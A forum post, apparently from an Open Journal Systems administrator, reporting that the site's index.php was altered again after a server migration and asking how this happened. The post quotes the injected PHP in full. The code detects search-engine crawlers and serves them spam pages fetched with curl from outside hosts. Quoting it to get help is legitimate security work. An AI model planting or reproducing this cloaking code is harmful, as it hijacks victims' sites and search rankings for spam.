Hello All,
Yesterday our OJS 3.3.0-22 was transferred to a new server due to security issues like this:
Happening again even after upgrading from 3.3.0-14 to 3.3.0-22. I suspected the problem might be due to some security flaw related to PHP 7.4 or Apache.
The old server was running Ubuntu Ubuntu 18.04.6 LTS, PHP 7.4.33, Apache 2.4.29 and MySQL 5.7.44.
The new one has Ubuntu 24.04.4 LTS, PHP 8.3.6, Apache 2.4.58 and MariaDB 10.11.14. SSL login using public/private key only.
And today I discovered it happened again in the new server. For some reason, the index.php changed from the default to this:
<?php
$botTargets = [
'/index.php/motriz' => 'https://masa-iya.footer-tpl.online/periodicos-motriz/',
'/index.php/educacao/article/view/17323/12836' => 'https://masa-iya.footer-tpl.online/educacao-article-view-17323-12836/',
'/index.php/geociencias/article/view/18764' => 'https://masa-iya.footer-tpl.online/geociencias-article-view-18764/',
'/index.php/pesquisa/article/view/18342' => 'https://masa-iya.footer-tpl.online/pesquisa-article-view-18342/',
'/index.php/naturalia' => 'https://masa-iya.footer-tpl.online/periodicos-naturalia/',
'/index.php/pesquisa/about' => 'https://masa-iya.footer-tpl.online/biblioteca-unesp-pesquisa-about/',
'/index.php/geociencias' => 'https://masa-iya.footer-tpl.online/kok-bisa/periodicos-rc-biblioteca-geociencias.html',
'/index.php/pesquisa/article/view/16904' => 'https://masa-iya.footer-tpl.online/biblioteca-unesp-16904/',
'/index.php/ageteo/about' => 'https://masa-iya.footer-tpl.online/ageteo-about/',
'/index.php/educacao' => 'https://silentisyork.com/lppenuh/biblioteca-unesp-educacao/',
'/index.php/estgeo/article/view/17604/12978' => 'https:///masa-iya.footer-tpl.online/logintoto-periodicos-rc-biblioteca-unesp-br/',
'/index.php/bolema/article/view/6527/6091' => 'https://masa-iya.footer-tpl.online/bolema-6091/',
'/index.php/motriz/article/view/18486' => 'https://masa-iya.footer-tpl.online/motriz-article-view-18486/',
];
$req = strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?');
$req = rtrim($req, '/');
$ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$isLogged = !empty($_COOKIE['OMPSID']) || !empty($_COOKIE['OJSSID']) || !empty($_COOKIE['OJSESS']);
$botAgents = ['googlebot','google-inspectiontool','bingbot','slurp','yandex','duckduckbot','baiduspider'];
$isBot = false;
foreach ($botAgents as $agent) {
if (strpos($ua, $agent) !== false) {
$isBot = true;
break;
}
}
$externalUrl = isset($botTargets[$req]) ? $botTargets[$req] : null;
if ($externalUrl && $isBot && !$isLogged && extension_loaded('curl')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $externalUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["User-Agent: Googlebot/2.1"]);
$html = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (!empty($html) && $http_code == 200) {
header("Content-Type: text/html; charset=utf-8");
echo $html;
exit;
}
}
// Initialize global environment
define('INDEX_FILE_LOCATION', __FILE__);
$application = require('./lib/pkp/includes/bootstrap.inc.php');
// Serve the request
$application->execute();
?>
Does anyone know what this is? How can an user change this file?
Regards,
Oberdan